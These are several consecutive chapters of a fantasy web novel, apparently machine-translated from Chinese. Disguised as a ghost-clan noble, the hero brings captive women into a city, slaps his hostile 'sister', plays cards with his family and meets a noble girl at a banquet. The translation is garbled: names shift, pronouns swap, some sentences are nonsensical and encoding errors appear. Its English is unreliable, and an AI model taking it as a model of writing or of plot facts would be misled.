    The city gate guard saw this group of black clouds from far away, and when he got closer, he saw Wan Gaoxing. They were all taken aback. They didn''t dare to delay, and quickly opened the city gate.


    Xue An came in with a calm expression on his face, and the guards looked at him with a smile on his face.


    It''s just that when I saw the people **** behind, a look of surprise appeared in his eyes.


    at last.


    Heiyun entered the city, and then the group of soldiers guarding the city got together and started talking in a low voice.


    "Oh my god, are all the indigenous ghost tribes that Young Master Wan caught behind?"


    "It shouldn''t be wrong, I also saw several extremely beautiful little ladies among them!"


    "I''ve seen it too, tsk tsk, it''s so long, there''s really nothing to say!" As he spoke, the soldier almost drooled.


    "It is said that this Wan Da and Young Man is mediocre. Few people are optimistic about going out to find treasures this time, but this time, it is not like that!"


    "Hehe, who knows! But I think, the adults in the city have been busy for a few days!"


    Just as these soldiers were discussing, Xue An led everyone, according to the location in Wan Gaoxing''s memory, and returned to the residence of Wanjia at this time.


    The guard in front of the door saw that it was Wan Gaoxing, and seeing so many people behind him, they were all dumbfounded.


    Xue An''s expression sank, and he shouted arrogantly, "What? Are you stupid to see this young master?"


    When he said this, Xue An said silently in his heart.


    This Wan Gaoxing''s usual performance is really a standard dude!


    really.


    When they heard the young master''s roar, all these people trembled. Some turned around to deliver the letter, while others respectfully stepped aside.


    Xue An snorted coldly, and walked inside.


    Some soldiers walked up very diligently, planning to take Yingning and others away.


    Xue An yelled coldly, "Don''t move!"


    The soldiers trembled with fright.


    Xue An angrily said: "Are these people you can touch? Get me aside!"


    "Yes, yes!" These soldiers were so scared that they fought with their clothes and quickly retreated aside.


    At this moment, several women''s smiles came from the door.


    "Oh, Brother Gao Xing, why should you be angry with these people! If you are really not satisfied, just kill it!"


    Hearing this voice, the soldiers who were already trembling, trembling more severely.


    At the same time, I saw a woman wearing a black dress with exaggerated makeup, but still unable to hide her immature face, ran out of the door very excitedly.


    Xue An knows from memory that this woman is Wan Gaoxing''s sister and the youngest daughter of Wan Jia, Wan Hate Xin!


    As the youngest daughter of Wanjia, Wan Henxin has enjoyed endless love since she was born, so she has also developed her extremely arrogant temperament.


    If Wan Gaoxing is the eldest son of Wanjia, then she is a veritable magic star of Wanjia.

 Chapter 1382： Old stuff, im back

    However, this Wan Henxin loved his brother Wan Gaoxing very much, and the relationship between the two brothers and sisters was also very good.


    This is rare among the ghost clan giants who bleed for favor at every turn.


    This time Wan Gaoxing went out to search for Gu Jing, Wan Hen Xinben wanted to follow, but he was helpless, and finally failed.


    Therefore, she has lost her temper at home these days, and has injured several maids.


    This day was the same. She was stunned in her own room behind. She suddenly heard the news of Wan Gaoxing''s return. She also heard that he had brought back many people. She immediately jumped up and rushed over excitedly.


    After seeing Wan Gaoxing, this Wan Henxin hugged his arm and said tiredly: "Brother! I haven''t seen you for several days, I want to kill you!"


    Xue An snorted coldly in his heart, but his face was not revealed at all. He raised his hand and squeezed her cheek, "Okay! Didn''t I come back!"


    "Oh, is this the person you caught back?" Wan Henxin saw Yingning and the others who were tied up, and was surprised by the faces of these women before asking.


    Xue An nodded, "Yes!"


    "Brother, you are amazing!"


    While talking, Wan Henxin stepped forward and looked at everyone curiously.


    But after waiting for a while, a look of hatred suddenly appeared in her eyes.


    Because she found that no matter which one of these women looks better than herself, especially Que Wenyuan who stood in front of her, the purity of her body made Wan Hengxin, who are also women, be moved.


    In this case, Wan Henxin snorted coldly, "Sure enough, it''s a bunch of hooves!"


    He raised his hand and slapped Que Wenyuan viciously.


    This slap brought a whistling wind, and it was obviously very powerful. If it was hit, Que Wenyuan would definitely be disfigured.


    Wan Henxin��s face showed a cheerful color, but at this moment, Xue An suddenly appeared next to her, grabbed her arm, and said coldly: ��These people are all brought back by me. They are still useful. , Don''t mess around!"


    Wan Henxin was stunned. It seemed that he didn''t expect his brother would stop him, but his heart was filled with anger.


    "You actually stopped me for this bitch? Then I want her to die!"


    As he said, he kicked out again.


    This kick is obviously rushing to the fate of Que Wenyuan.


    But at this moment, Xue Anyang slapped his hand, and the fan of Wan Henxin went back several steps before he stood still.


    This slap also made the many people in front of the door pale, and they didn''t even dare to lift their heads.


    Wan Henxin covered his face and looked at Xue An in a daze, "You...do you dare to hit me?"


    Xue An withdrew his slap, and a look of disgust flashed across the face that was supposed to be Wan Gaoxing, "These people are indeed useful to me, so you better not fool around!"


    Wan Henxin was almost mad, and sneered again and again: "Useful? What can you do? Don''t you want to keep it for yourself? I..."


    The rest of the story was not finished, because Xue An had already raised his hand again.


    Wan Henxin took a few steps back with some horror.


    Just when the two brothers and sisters were facing each other at the door, they heard a burst of laughter coming out of the door.


    "Xing''er really lived up to the expectations, did he come back so soon?"


    With that, a man with a dignified manner also came out.


    Wan Henxin immediately suppressed his hostility, and said cleverly, "Father!"


    The visitor was Wan Tai Hui, the owner of the Wan family, the father of Wan Gaoxing and Wan Henxin.


    Of course it is impossible for Xue An to really call his father. In fact, after Xue An entered the city grandiosely, he has been searching the whole city through spiritual thoughts, trying to find what he was looking for as soon as possible.


    But obviously, these alien ghost races are not fools either, things are hidden deeply.


    So on the surface there is nothing unusual.


    But the more so, the more clear Xue An, there must be an article in it, otherwise this group of ghost races would not be so eager to get this ancient mirror.


    At this point, Xue An squeezed out a seal, and a divine mind quietly intruded into the sea of ??knowledge of Wantaihui.


    It stands to reason that this Wantaihui is at least a half-step big Luo, and it will not be so easily invaded into the sea of ??knowledge.


    But because Xue An now plays Wan Gaoxing as his only son, after relaxing his vigilance, Xue An easily changed some things in his soul.


    "Old stuff, I''m back!" Xue An said lightly.


    Upon hearing this name, Yingning, Que Wenyuan, and all the people who followed were shocked.


    Because this is simply deliberate exposure!


    After all, Xue An is now playing Wan Gaoxing, the eldest master of the Wan family.


    Have you ever seen a few sons shouting old things at their father?


    This is over!


    As soon as I entered the city, I would have to reveal my identity! Yingning was almost depressed to death.


    But the next moment, Wan Tai Hui and everyone''s performance made them all dumbfounded.


    Seeing that Wantaihui was full of spring breeze, as if he hadn''t heard the old thing at all, he smiled and said, "Good boy, it''s really polite! Are you tired?"


    Everyone: "..."


    Ning Caichen quietly asked Nie Xiaoqian on the side, "Qian''er, among your ghost tribes, is this how you call your father?"


    Nie Xiaoqian was also a little dazed, but still shook her head, "How could it be possible! But these foreign ghosts might have such a custom!"


    Not to mention everyone''s astonishment.


    After a cold and warm call, Wan Tai Hui looked at the people who were tied up, and a look of surprise flashed across their faces, "Xing''er, what are you going to do with these indigenous ghosts?"


    Xue An said indifferently: "Old stuff, I plan to lock these guys to my side first and wait for a good interrogation before handling!"


    "Okay! Okay!" Wan Taihui showed a smile that a man understands, and patted Xue An on the shoulder, "Just pay attention to your body! That''s right! There will be a banquet in Chuzhou city tomorrow evening, and you will be back. , Let��s join together!"


    After speaking, Wantaihui left with a smile.


    Wan Henxin glanced at Xue An, then looked at Ying Ning Que Wenyuan and the others with spiteful eyes, and finally stomped his feet bitterly, then turned and left.


    Xue An frowned slightly.


    banquet? What banquet?


    But also I happened to find some clues through the people who attended the banquet.


    Thinking of this, Xue An waved, "Take these people to my courtyard!"


    "Yes!"


    quickly.


    The news that Wan Jia Da Xiao Wan Gao Xing returned and captured many indigenous ghost tribes spread throughout Chuzhou City.


    Especially when people heard that there were many stunning women among them, they were even more upset.


    "Damn, why is Wan Gaoxing''s silly* so lucky? He caught so many girls after going out?" In another mansion, a man with a sinister face roared.


    "Chuck, Shao Zong is jealous?" A thin and pale boy sat on a chair, grinning so that his mouth reached the base of his ears, looking very strange.


    "Huh!" This Zong Shao snorted coldly and glanced at the young man obliquely, "What? Brother Bai is not jealous?"

 Chapter 1383： 1 step to the sky

    "Jealous?" Bai Xi shook his head. "A group of wimps who can''t even keep their homes are not worthy of arousing my interest!"


    Zongcheng''s complexion changed slightly, and he immediately remembered something, he smiled, "Look at my memory, of course Brother Bai looks down on those indigenous ghost tribes, after all... Brother Bai wants to become the son-in-law of the Luo family!"


    Speaking of this, Zongcheng narrowly squeezed his eyes, "I heard that tomorrow''s dinner will be the first time for Miss Luo to appear in this world, and she will also apprentice a teacher! I wonder if Brother Bai is invited?"


    "Of course!" Bai Xi didn''t shy away from this, and said with a faint smile: "Not only is he invited, my father is ready to officially propose to the Luo family at the banquet tomorrow!"


    Hearing this news, Zongcheng was stunned for a moment, a look of jealousy flashed deep in his eyes, but was quickly covered up, and then he arched his hand at Bai Xi.


    "It turns out that this is the case, then congratulations to Brother Bai in advance, I hope Brother Bai can embrace the beauty as soon as possible!"


    "Good talk! Good talk!" Bai Xi was also smiling, but there was a genuineness in his smile, as long as he knew it.


    Of course, they don��t believe in brotherhood, but the ghosts are like this. Everything is based on interests.


    So neither of these compliments took them to heart.


    But tomorrow''s dinner does affect their hearts.


    The reason is very simple. Although the time for these foreign ghost races to enter this world is not too long, they still have a distinct hierarchy.


    For example, the two of them came from the Bai family and the Zong family respectively.


    These two giants are on par with Wanjia in terms of strength, so they both dare to comment on Wan Gaoxing so unscrupulously.


    But they are also very clear to each other that their class is not the highest in this world.


    Because if one of Chuzhou City has the strongest strength, the Luo family would be the most recommended.


    And this is not only because of the difference in strength, but more importantly, the initiator of the invasion of this world is the Luo family.


    There are even rumors that behind the Luo family are big figures from the depths of the ghost world as their backers.


    Because of this, the Luo family, the eldest lady who has just entered this world and has never seen her face, naturally attracted attention from all sides.


    What''s more, this time is still an apprenticeship.


    But no one knows who the master is.


    This has added a lot of mystery to the banquet.


    In this situation, Bai Xi was confident, not only because he was sure of himself, but more importantly, because he had confidence in his family.


    Because at this time, many news about the upcoming marriage between Luo Bai and the two were circulating in Chuzhou City.


    This is obviously a campaign from the Bai family.


    Although Zongma was jealous in his heart, he quickly turned his attention away and said grimly: "Damn, the guy Wan Gaoxing will definitely attend this banquet. Didn''t he go out this time to find the whereabouts of Gu Jing? I also know that I have returned without success!"


    "When the time comes, I will take the opportunity to make him make a fool of himself in front of everyone, so that I can express the bad breath in my chest!"


    Of course, Zongma did this not only because of jealousy.


    In fact, the previous Wan Gaoxing acted impermanently, and there was a lot of disagreement with this Zongma. This incident was just an opportunity and a cause!


    Bai Xi didn''t speak, all his thoughts were affected by the banquet tomorrow.


    Because in his heart, there is a thought deeply buried.


    Everyone thinks that I am greedy for the power of the Luo family, but who knows my true mind?


    Thinking of this, Bai Xi''s mouth showed a sneer.


    He actually doesn''t value the so-called Luo family power at all.


    What he valued was the rumored big figure standing behind the Luo family.


    If you can pass this line and get in touch with such a big man, then you can be regarded as flying into the sky, and even entering the depths of the ghost world is unknown.


    As for a ten thousand high star... he didn''t bother to pay attention.


    Because of this banquet, the whole city of Chuzhou became lively.


    But under the surface hustle and bustle, it was an undercurrent situation.


    No wealthy family does not want to benefit from this matter, and therefore in such shady corners, conspiracies and calculations are being staged one after another.


    That is to say, under this situation, the turmoil caused by the return of thousands of families quickly disappeared.


    Xue An stood in front of the window and slowly withdrew the divine consciousness that enveloped the whole city.


    Because he couldn''t fight the grass and startle the snake, Xue An''s spirit could only wander in many undefended places, but even so, he learned a lot of shady secrets.


    But what Xue An really wanted to know was still nothing.


    But Xue An did not show any anxiety.


    In fact, the more at this time, the more calm Xue An is.


    Because he could feel that he was approaching the truth a little bit.


    He was not the only one in the house, Yingning, Que Wenyuan, and many others were waiting quietly in the house.


    Que Wenyuan looked at Xue An''s back in front of the window, with a complicated look on his face.


    She really wanted to know what kind of secret this teenager who looked not much older than herself had.


    Otherwise, why even his back seems to contain a breathtaking aura, it is unbearable to turn his eyes.


    At this moment, Xue An didn''t turn his head back, and whispered: "I just searched it again, and I haven''t found anything abnormal for the time being! In this way, the clues should be hidden in the hands of these rich ghosts!"


    Speaking of this, Xue An turned his head and smiled at Yingning and the others, "If this is the case, tomorrow''s dinner will be very important! So...Who would like to go with me?"


    Yingning was a little surprised, "Can we go too?"


    Xue An nodded, "Of course!"


    "But we..." Yingning wanted to say that we are an indigenous ghost race, and if we go there, it will definitely cause an uproar.


    Xue An interrupted her with a smile, "I can do it!"


    "Then I''ll go!" Que Wenyuan on the side hurriedly yelled, having heard it already.


    Xue An nodded, "Okay!"


    Que Wenyuan didn''t expect that Xue An would agree so neatly, and he couldn''t help but feel a little wrong.


    Xue An smiled slightly, "The rest of you are also ready! I have a hunch that this banquet may be unexpectedly lively!"


    "Yes!"


    At the same time in an exquisite house in Wanjia, Wan Henxin has shattered dozens of exquisite tea sets hysterically.


    No people dared to come over, everyone was hiding far away.


    Finally, Wan Henxin panted heavily and sat on the chair that he had fallen in half, and his face with heavy makeup flashed with resentment from time to time.


    "Dare to hit me?"


    Wan Henxin still clearly remembers the slap that Xue An slapped her. Since childhood, no one has dared to touch her with a finger.


    Especially this time, Wan Henxin��s favorite brother was the one who beat her.


    When I thought of the way my brother looked at him at the time, Wan Henxin''s heart was like being bitten by a poisonous insect, and it was extremely uncomfortable.


    "No, I''m going to take a look now, why should he protect those **** like that!"

 Chapter 1384： Buddhist girl

    At this point, Wan Henxin immediately stood up and walked out.


    The courtyard where she lives is not far from where Xue An lives now. Along the way, all the servants were so scared to hide after seeing the gray-faced Wan Henxin, they didn''t even dare to lift their heads. .


    Wan Henxin didn''t bother to care about this group of men. She came to the courtyard where Xue An lived, and the soldier guarding the door just wanted to talk, Wan Henxin glared.


    These people closed their mouths immediately, and obediently stepped aside.


    Wan Henxin walked into the courtyard with a sneer, but saw that the door was closed tightly, and his gloomy expression instantly became even more ugly.


    What is your brother doing during the day when the doors are closed?


    Wan Henxin gritted his teeth and crept forward, trying to eavesdrop on the situation inside.


    But at this moment, the door was suddenly opened.


    Xue An stepped out from inside.


    The two hit each other.


    Wan Henxin couldn''t help being a little silly now, his figure froze in place, but his eyes looked into the room through the gap in the door, trying to find the gang of "sluts" from it.


    Xue An didn''t change his expression, slowly closing the door from behind, and said lightly: "What are you doing here?"


    For the sister of the original owner, Xue An did not even have a good impression.


    Because no matter from memory or from what you saw and heard, you can see the brutality and arrogance of this girl.


    For such a person, if it weren''t for not wanting to stun the snake, Xue An would have taken action early.


    Hearing Xue An��s questioning, Wan Henxin��s heart became even more dissatisfied, and he couldn��t help but sneered: ��Don��t you know what I��m doing here? Why? I can��t help it after catching a few small waves of hoofs?��


    This is hard to hear.


    But Wan Henxin felt that he was very happy after saying it.


    But before the joy on her face lasted long, she was dissipated by a loud slap.


    Snapped!


    After a crisp sound, Wan Henxin only felt that he was blown out by the entire fan and almost fell to the ground.


    Then Xue An patted his hands lightly and said lightly: "Dare to talk to me like this again, be careful of your teeth!"


    Wan Henxin, who was beaten up, wanted to have an attack, but after hearing Xue An''s words, his whole body trembled, and the following words unexpectedly swallowed back.


    Because she suddenly discovered that her brother suddenly became so strange.


    It was so strange that she was a little stupid.


    Especially his eyes!


    Wan Henxin had no doubt that if he dared to say anything, he would really kill himself without hesitation.


    In this situation, she could only stand up full of resentment, took a deep look at Xue An, and then turned away.


    Xue An is not commenting on this.


    A mad girl who thinks she is great is just like the little lady on the earth who babbles all day long, not worth mentioning.


    Xue An walked out of the Wanjia mansion and came to the main street of Chuzhou City.


    This seems to be his habit.


    Whenever you come to a strange city, you always have to walk around on the street and take a look at this humanistic style that is completely different from the earth.


    This time is no exception.


    Because there is still a full day before the dinner tomorrow, and there is plenty of time, so he is going to take a turn, and it is best to find something to miss the little toy he likes.


    Thinking of this, Xue An''s mouth showed a faint smile.


    It''s very quiet in Fu Bao Xiaolou recently.


    Even An Yan didn''t show up much.


    All because these women have found a new way of pastime.


    I still remember that Xue An went back two days ago and was taken aback by the situation inside...


    There are not too many people on the streets of Chuzhou City, and the shops on both sides also seem very sluggish.


    After all, after this big fluctuation, the whole Chuzhou City can be said to be badly damaged.


    In addition, these foreign ghost tribes have always been arrogant, and they have no bottom line when facing interests.


    So now Chuzhou City has been deserted a lot.


    But anyway, this place is still the first city in the world, so there are still many fun things.


    For example, the small shop with long lines in front of it not far in front is very eye-catching.


    Because the scent wafting from that small shop was so tempting, it even made the pedestrians on the street stop and stop, their index fingers moved.


    Is this the snack bar that Que Wenyuan highly recommends, and has repeatedly asked to bring some back home?


    Xue An raised his head and looked at it a few times, and he couldn''t help but sigh.


    In this ghost world, there are very few cities with such a city atmosphere.


    Because these ghosts generally do not need to eat, even if they are transformed into human bodies, they cannot have the kind of creativity of humans.


    But this place is different, because the relationship between these indigenous ghost tribes and human tribes is very harmonious, this Chuzhou city is even more mixed with people and ghosts, naturally creating this kind of small shop full of life.


    The smell is really good, and Xue An plans to buy some and try it!


    But at this moment, he suddenly saw a woman coming from the other side of the street. He looked at it closely, her face was full of curiosity, and when he walked near the shop, his face couldn''t help showing intoxication. Se, and then happily stepped forward and began to line up.


    Xue An looked at the girl who was only fourteen or five years old, and was startled at first, then a very strange look appeared in his eyes.


    But soon, he also stood behind the line and started queuing.


    The queue time is long and boring, but Xue An''s attention has always stayed on this girl.


    Finally, when it was the girl''s turn, she bought food for three people in one go, then turned around bitterly, and said fiercely to Xue An, "Have you seen enough?"


    After speaking, he gave a cold snorted and then left.


    The people around couldn''t help casting curious gazes, but Xue An didn''t show any embarrassment. He just glanced at the girl''s back with a smile, then turned his head and said to the shopkeeper.


    "For five people... uh wait or six people!"


    While waiting, Xue An saw the young girl squatting in the alley not far away, enjoying the food with a pleasant expression through spiritual thoughts.


    Between her eyebrows, a little scarlet Buddha seal was invisible, but it was full of pure and peaceful Buddha cultivation power.


    But at this moment, the girl who was eating out was suddenly startled, and immediately looked at the place where Xue An''s spirit was located, and said in a deep voice, "Who is peeking?"


    Following the voice, the girl also cut a seal, but before the attack arrived, Xue An had already withdrawn her spiritual mind.


    Feeling the sudden disappearance of divine consciousness, the girl''s expression became awe-inspiring.


    "I just felt that someone was peeking? And it looks familiar! By the way! It''s that guy!" The girl suddenly remembered, stomped her feet bitterly, took a few mouthfuls, and turned around. go with.


    "Interesting! Do you take the upper-level route?" Xue An, who withdrew Shennian, chuckled lightly.

 Chapter 1385： Brains are buzzing!

    Fu Bao Xiaolou.


    When Xue An walked in with the six-person snacks he bought, An Yan, Hu Ying and Zhang Xiaoyu were fighting fiercely.


    "Right three!" An Yan''s face was glued with a few notes, and he looked at the playing cards in his hand very nervously, without even noticing Xue An''s arrival.


    There were more notes on Hu Ying''s face than An Yan, so she was even more focused. When An Yan made a threesome, she laughed three times.


    "Right four!"


    After that, she looked at Zhang Xiaoyu hopefully, "Old Zhang, press her!"


    An Yan can''t do it now, "Why? Still discuss it?"


    Zhang Xiaoyu looked a little miserable at this time, and saw that her face was almost covered with paper strips, a dozen tentacles waved unsteadily, and each tentacled hand was holding a playing card.


    After hearing An Yan''s complaint, Zhang Xiaoyu smiled, "Sister Yan, do you still need to discuss if you win? I wonder, what card do you hold? How dare you call the landlord?"


    With that, she saw her flicking out two cards.


    "Wang fried!"


    An Yan''s face turned pale in an instant, and her lips moved, "Fighting the four?"


    "That''s so domineering! How about sister Yan, my brain is buzzing!" Zhang Xiaoyu smiled extremely "arrogantly".


    Even Hu Ying became excited, "Okay! You have to have this kind of domineering, continue! Victory is here!"


    "Sister Yan, then I''m sorry!" Zhang Xiaoyu waved her excited tentacles.


    "aircraft!"


    "No!" An Yan was desperate.


    "Shun Zi!"


    "No!" Hu Ying jumped up excitedly.


    "Sister Yan, don''t blame Xiaoyu for being rude!" Zhang Xiaoyu threw out two more cards excitedly.


    "Right two! Report one!"


    An Yan looked at the cards in the field blankly, seemingly dazed.


    "It''s over! Mom lost!" After thinking about it, he took out a note skillfully.


    Nian-nian was holding a small bucket in her hand and a small brush in the other hand, shrugging.


    "I really don''t understand why mother, sister fox, and Zhang Xiaoyu are so happy about this! Even to the point of forgetting to sleep and eat, is it so fun?"


    Think about it quietly: "Niannian, your idioms are getting better and better!"


    "That is! I have memorized the entire dictionary of idioms!" Nian Nian was very proud.


    "Really?" came a gentle male voice.


    The two little girls shook all over, then turned their heads and saw Xue An with a smile on his face.


    "Dad...!" The two little girls just wanted to cheer.


    Xue An chuckled and shook his head, motioned them to be quiet, and then passed the snacks in his hand.


    Nian-nian smelled the scent a long time ago, and her saliva was almost flowing out, and she didn''t need the brush and small bucket in her hand. She picked up one and started to feast on it.


    Xue An walked behind An Yan, glanced at the cards in the field, and said lightly: "Blow her!"


    "Huh?" An Yan turned back abruptly.


    Xue An showed white teeth, bent down, reached out from behind An Yan, pulled out four Ks and threw them down.


    "Fried!"


    Now it was Zhang Xiaoyu''s turn to be dumbfounded.


    An Yan said with some worry, "Little fish now has one card left!"


    Xue An smiled, "It''s okay, she can''t run!"


    Said Xue An casually pulled out a card, "Four!"


    An Yan''s heart sank, it''s over!


    Octopus now has one card left, but in the end he got a four. Is this unclear?


    Unexpectedly, Zhang Xiaoyu looked sad, and stopped waving his tentacles, and said lowly: "No...no!"


    Hu Ying''s eyes widened suddenly, "You don''t want four?"


    Zhang Xiaoyu shook his head, "No!"


    No way, Hu Ying had to take the cards and start playing.


    But how could she be Xue An''s opponent? After a while, she lost both.


    An Yan was about to jump up excitedly, "Hahaha, I won! I miss it, come here!"


    The two little girls who were devouring hurriedly wiped their hands, one carrying a brush and a small bucket, the other holding a note, and skillfully pasted the notes on the faces of Huying and Octopus.


    Xue An smiled at this scene.


    This is the pastime that made Anyan three people sleepless during this time.


    Landlord!


    Two days ago, Xue An entered the Fubao Xiaolou, and the three of them were almost covered with paper strips, but they were still fighting fiercely with red eyes!


    But Xue An looked at it for a while and laughed and found that the level of these three people is simply terrible, they are all the same stink!


    Not to mention the easiest way to record cards, you don''t even know what the opponent has played!


    Just like that, the three of them had fun.


    In the end, Xue An really couldn''t stand it, so he ended up teaching them a few rounds. Although they were only some very simple skills, they shocked the three of them.


    "Come on, go on!" An Yan was elated.


    Zhang Xiaoyu and Hu Ying are lacking in interest.


    "If you don''t come or not! Your lord is here, how can we be his opponents! Oh, I almost forgot! I should go bathe Master Xiaosha''s eggshell!" Zhang Xiaoyu jumped up and fled.


    "The rune ball is outside, I''ll go see it!" Hu Ying naturally got up and left.


    Before leaving, the two little girls who were eating were also taken away.


    The two of them were left in the living room in a flash.


    An Yan smiled, and then leaned against Xue An''s arms, "Husband, why are you here?"


    "There is a lady who is indulging in gambling all day long, and even the readers can''t stand it anymore. She said why you don''t show up all the time, so I came to see you!" Xue An said with a smile.


    "Reader? What reader?"


    "Oh, nothing! Just treat them as if they don''t exist!" Xue An said lightly.


    "Yeah!" Then An Yan said with some embarrassment: "Husband, I have been really addicted recently, I promise not to do this in the future!"


    Xue An stretched out her hand and squeezed her nose, "If you want to play, let''s play! My woman, what a card is!"


    "Oh! You pinched me!"


    Despite this, An Yan''s face is full of joy, and I don''t know if it is because of card games or because of my domineering woman.


    After a long silence, An Yan gasped slightly and asked, "Husband, how is the situation outside now?"


    "Still in the ghost world!"


    "Oh! Did you find the friend you were looking for?"


    Xue An shook his head not yet! But this world is quite interesting! "


    "How interesting?"


    "Have you seen Liao Zhai? The aboriginal ghosts here are actually characters from Liao Zhai! Nie Xiaoqian, Ying Ning, Xin Shisanniang... Wait!"


    An Yan''s eyes gradually widened. "Are you saying that a Chinese senior came here?"


    "Do not rule out this possibility! But I think the problem should lie with the masters of the planes here!"


    An Yan nodded as if he didn''t understand, and suddenly smiled.


    "Husband..."


    "Ok?"


    "Teach me to be an old man!"


    "..."

 Chapter 1386： Its you? its me!

    The banquet came as scheduled.


    In the evening of this day, it was located in the northwest corner of Chuzhou City and occupies three streets in the Luo family mansion, brightly lit.


    Since the afternoon, the black air in the sky has not stopped.


    That is the trace left by the ghost horse yin cart used by the ghost race who came to the banquet.


    So although the banquet has not officially started, this Luo family mansion is already very lively.


    In the banquet hall, the wealthy children of all parties gathered together, chatting and chatting happily.


    "I heard that Miss Luo has a vision, which is very popular with the old Patriarch of the Luo family. This is the first time I have entered this seat!"


    "Yeah! I just don''t know what kind of fame this apprenticeship banquet is, and it actually made such a big battle! I don''t know where it is sacred!


    In these discussions and exclamations, the topic gradually shifted.


    Someone grinned and said, "Have you heard? The young master of Wanjia captured a lot of indigenous ghosts from the outside two days ago. I heard that there are a few outstanding!"


    "This news has already caused a sensation in the entire city of Chuzhou, who doesn''t know? But these tens of thousands of young people are usually a little bit mad, and in the end there are not many friends!" Someone shook his head.


    "Tsk tusk, I heard about it!" Someone looked around, then lowered his voice, "Bai Shao and Zong Shao are very dissatisfied with this Wan Gaoxing. It''s fine if he doesn''t come at this banquet. If you come, I will definitely give him some color!"


    "Hey! There is a good show here!"


    Everyone seemed to be gloating after hearing this, which also shows how unpopular this Wan Gaoxing is usually.


    At the same time, at the heart of the banquet, Baixi sipped a glass of wine, but kept his eyes on the entrance of the banquet hall.


    Because he knew that if the Luo family''s eldest lady wanted to enter, she would definitely appear from here.


    What he had to do was to rush up for the first time and give this woman who had never met before, but was already well-known as Chuzhou City, a good first impression.


    Zongcheng on the side had a gloomy face, and his cold eyes scanned the banquet hall from time to time.


    "What is Young Master Zong doing so urgently? That Wan Gaoxing will definitely come!" Bai Xi smiled.


    "Huh! I know he will come naturally, but I can''t swallow this breath in my heart!" Zongcheng said gloomily.


    The contradiction between him and Wan Gaoxing is extremely deep and cannot be explained clearly in a few words.


    In addition, this time Wan Gaoxing suddenly captured so many indigenous ghost tribes, which became the fuse to detonate the conflict.


    Bai Xi smiled when he saw it, but a trace of contempt flashed in his heart.


    He didn''t bother to care about these messy things!


    Because in his opinion, whether it is Wan Gaoxing or Zongcheng!


    They are all dudes who can only show off in intrigue, and understand where he wants to.


    As long as you find a way to climb the big tree of the Luo family, you can climb higher and higher, and even become a big figure in the ghost world!


    These thoughts made the ardent color in Bai Xi''s eyes another three points, and he looked at the entrance of the banquet hall eagerly.


    In Zongcheng''s heart, he was thinking about the plan conceived in advance, and his eyes flashed with the cold light of choosing people.


    Anyway, I must make this Wan Gaoxing make a fool of himself this time, and it is best to make him bleed once!


    Thinking of this, Zongcheng smiled gloomily.


    Just when the two were pregnant with ghosts.


    There was a commotion outside the banquet hall, and then the Wan Gaoxing disguised by Xue An came in slowly.


    After seeing him, there was a moment of silence in the court.


    It was not because of what Wan Gaoxing was like, but everyone''s attention was all attracted by the women following Xue An.


    Wen Mu Ling''s gentleness is like water, Ying Ning''s calm atmosphere, and Que Wen Yuan''s innocence!


    These are three very different styles, but one thing is common.


    That is, they are all stunning.


    I don''t know if it was born from the heart or for what reason, the appearance of these foreign ghost races is generally ugly.


    And these aboriginal ghost races have amazing looks.


    In these two contrasts, the three women''s looks are naturally more beautiful.


    Especially when these three people are walking together, the lethality increases exponentially.


    And because of this, the noisy banquet hall was instantly quiet.


    At the same time, Xue An stopped and scanned the audience.


    And the moment he stopped, the three women also stopped, and then stood aside very obediently.


    It looks like three well-behaved maids.


    Zongcheng stared blankly, suddenly, his whole body trembled, and then there was crazy jealousy in his eyes.


    Because compared with the three women behind Xue An, the so-called beauties he "treasured" instantly faded, which is not worth mentioning.


    why!


    Why can he find such a beautiful woman?


    Zongcheng''s heart screamed frantically.


    Bai Xi glanced at him, sneered in his heart, a group of worms came to his head, idiots who would only be jealous for women all day long!


    I am a person with big ideals and ambitions, and I will never be like you!


    Bai Xi was secretly proud.


    At this moment, I only heard the ringing jingle, and then a young girl pouted and walked in with a displeased face.


    Behind her, followed by many people from the Luo family.


    coming!


    Bai Xi''s eyes widened instantly.


    This should be the lady of the Luo family!


    It looks really young, but he looks so beautiful!


    Bai Xi felt his heartbeat speeded up by half a beat, and Huo Ran stood up with an enthusiastic smile on his face, just about to step up to meet him.


    But the next change made him stunned for an instant.


    I saw that this young girl had a depressed face, but when she walked by Xue An, she was suddenly startled, and then turned her head and said with astonishment: "It''s you?"


    Xue An seemed to have expected it, so she sneaked out to buy snacks last night and "threatened" herself. At the same time, there was a girl with a faint Buddha seal between her eyebrows and smiled slightly.


    "it''s me!"


    The girl''s eyes gradually widened, and there was a look of sorrow and panic in her eyes.


    Last night, after she felt Xue An''s divine spirit snooping, she left angrily, thinking that the incident was over.


    But I didn''t expect to meet this guy here again.


    And it looks like this guy is still a wealthy boy.


    When he thought that his "unbearable" eating photos had been seen by this man last night, Luo Jingting felt blood rushing to his forehead.


    But she didn''t know, this gaze fell in the eyes of other people, but it completely changed the taste.


    At least in Bai Xi''s eyes, this Miss Luo family obviously knew Xue An, and it seemed that the relationship was very deep.


    Otherwise, how could you look at him so "sentimentally"?

 Chapter 1387： Play Essentials

    This made Bai Xi, who was originally confident and prepared to take this Miss Luo Family away, turned black instantly, the muscles on his face were beating frantically, and his eyes were full of murderous intent.


    what happened!


    Why does this idiot even know Miss Luo''s family?


    At the same time, Xue An smiled slightly at the shocked Luo Jingting.


    "last night����."


    "Stop talking!" Luo Jingting immediately interrupted Xue An, then deceived him and whispered.


    "You are not allowed to say it! Otherwise I can''t spare you!"


    But she didn''t know how deliberate and flustered she was now.


    Especially when everyone heard those two words last night, a very strange look appeared on their faces.


    What happened last night?


    Why does this Miss Luo look so flustered?


    Could it be...


    At this moment, I listened to Peng''s sound.


    The table in front of Bai Xi shattered directly into powder, and he stared at Xue An with a cold face.


    Xue An naturally also felt the killing intent in this Baixi''s eyes, but in his eyes, this Baixi was not even an ant, so naturally he was too lazy to pay attention.


    But it''s good to tease him!


    Therefore, a meaningful smile appeared on Xue An''s face, and then leaned down and whispered in Luo Jingting''s ear: "I know what you are worried about, but don''t worry, because it will be over soon!"


    After speaking, Xue An stood up with a smile and said lightly: "Go!"


    Xue An led Wen Muling and the three of them straight past Luo Jingting.


    Luo Jingting looked at Xue An''s back with a look of astonishment, but Xue An''s words were all in his mind.


    What do you mean!


    What does it mean to end soon?


    Luo Jingting wanted to stop the hateful guy and ask what happened, but due to his identity, he finally lowered his head silently.


    It''s just that these pictures fell in Bai Xi''s eyes but completely changed their taste.


    In his opinion, this is clearly that Xue An greeted Luo Jingting very kindly.


    And Luo Jingting watched Xue An go "reluctantly".


    This makes Bai Xi feel uncomfortable and want to vomit blood.


